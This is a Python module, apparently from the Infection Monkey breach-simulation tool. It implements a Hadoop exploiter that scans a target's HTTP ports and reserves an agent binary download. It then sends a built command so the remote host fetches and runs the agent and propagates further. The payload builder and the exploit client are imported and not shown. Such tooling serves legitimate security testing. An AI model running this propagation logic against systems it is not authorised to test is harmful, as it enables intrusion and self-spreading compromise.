import logging
from typing import Sequence

from common.types import AgentID, Event
from infection_monkey.exploit import (
    IAgentOTPProvider,
    IHTTPAgentBinaryServerRegistrar,
    ReservationID,
    use_agent_binary,
)
from infection_monkey.exploit.tools import filter_out_closed_ports, get_open_http_ports
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
from infection_monkey.exploit.tools.web_tools import build_urls
from infection_monkey.i_puppet import ExploiterResult, TargetHost
from infection_monkey.utils.threading import interruptible_iter

from .hadoop_command_builder import build_hadoop_command
from .hadoop_exploit_client import HadoopExploitClient
from .hadoop_options import HadoopOptions

logger = logging.getLogger(__name__)


class HadoopExploiter:
    def __init__(
        self,
        agent_id: AgentID,
        hadoop_exploit_client: HadoopExploitClient,
        http_agent_binary_server_registrar: IHTTPAgentBinaryServerRegistrar,
        otp_provider: IAgentOTPProvider,
    ):
        self._agent_id = agent_id
        self._hadoop_exploit_client = hadoop_exploit_client
        self._http_agent_binary_server_registrar = http_agent_binary_server_registrar
        self._otp_provider = otp_provider

    def exploit_host(
        self,
        target_host: TargetHost,
        servers: Sequence[str],
        current_depth: int,
        options: HadoopOptions,
        interrupt: Event,
    ) -> ExploiterResult:
        logger.info(f"Starting Hadoop exploiter for host: {target_host.ip}")

        # Try to get potential urls
        potential_urls = _build_potential_urls(target_host, options)
        if not potential_urls:
            msg = f"No potential URLs found for host: {target_host.ip}"
            logger.debug(msg)
            return ExploiterResult(error_message=msg)

        agent_destination_path = get_agent_dst_path(target_host)
        try:
            logger.debug("Registering a request for an Agent binary")
            download_ticket = self._http_agent_binary_server_registrar.reserve_download(
                operating_system=target_host.operating_system,
                requestor_ip=target_host.ip,
                agent_binary_transform=use_agent_binary,
            )
        except Exception as err:
            msg = (
                "An unexpected exception occurred while attempting to register a "
                f"request for an Agent binary: {err}"
            )
            logger.exception(msg)
            return ExploiterResult(error_message=msg)

        command = build_hadoop_command(
            self._agent_id,
            target_host,
            servers,
            current_depth,
            agent_destination_path,
            download_ticket.download_url,
            self._otp_provider.get_otp(),
        )

        try:
            logger.debug(
                f"Running Hadoop command against potential URLs for host: {target_host.ip}"
            )
            return self._exploit_urls(
                target_host,
                options,
                download_ticket.download_completed,
                interrupt,
                potential_urls,
                command,
            )
        except Exception as err:
            msg = (
                "An unexpected exception occurred while attempting to exploit the host "
                f'"{target_host.ip}" with the Hadoop exploiter: {err}'
            )
            logger.exception(msg)
            return ExploiterResult(error_message=msg)
        finally:
            _clear_agent_binary_reservation(
                download_ticket.id, self._http_agent_binary_server_registrar
            )

    def _exploit_urls(
        self,
        target_host: TargetHost,
        options: HadoopOptions,
        agent_binary_downloaded: Event,
        interrupt: Event,
        urls: Sequence[str],
        command: str,
    ) -> ExploiterResult:
        """
        Attempt to exploit on all URLs
        """
        exploit_result = ExploiterResult()

        for url in interruptible_iter(urls, interrupt):
            logger.debug(f"Attempting to exploit host: {target_host.ip} with URL: {url}")
            (
                exploit_result.exploitation_success,
                exploit_result.propagation_success,
            ) = self._hadoop_exploit_client.exploit(
                target_host, options, agent_binary_downloaded, url, command
            )

            if exploit_result.exploitation_success is True:
                break

        return exploit_result


def _build_potential_urls(target_host: TargetHost, options: HadoopOptions) -> Sequence[str]:
    # Note: Currently using a set, so ordering is not preserved
    ports = filter_out_closed_ports(target_host, options.target_ports)
    if options.try_all_discovered_http_ports:
        ports.update(get_open_http_ports(target_host))

    potential_urls = build_urls(str(target_host.ip), [(str(p), False) for p in ports])
    logger.debug(f"Potential URLs: {potential_urls}")

    return potential_urls


def _clear_agent_binary_reservation(
    reservation_id: ReservationID,
    http_agent_binary_server_registrar: IHTTPAgentBinaryServerRegistrar,
):
    try:
        logger.debug(f"Deregistering request with ID {reservation_id} for Agent binary")
        http_agent_binary_server_registrar.clear_reservation(reservation_id)
    except Exception:
        logger.exception("An unexpected error occurred while deregistering the request")
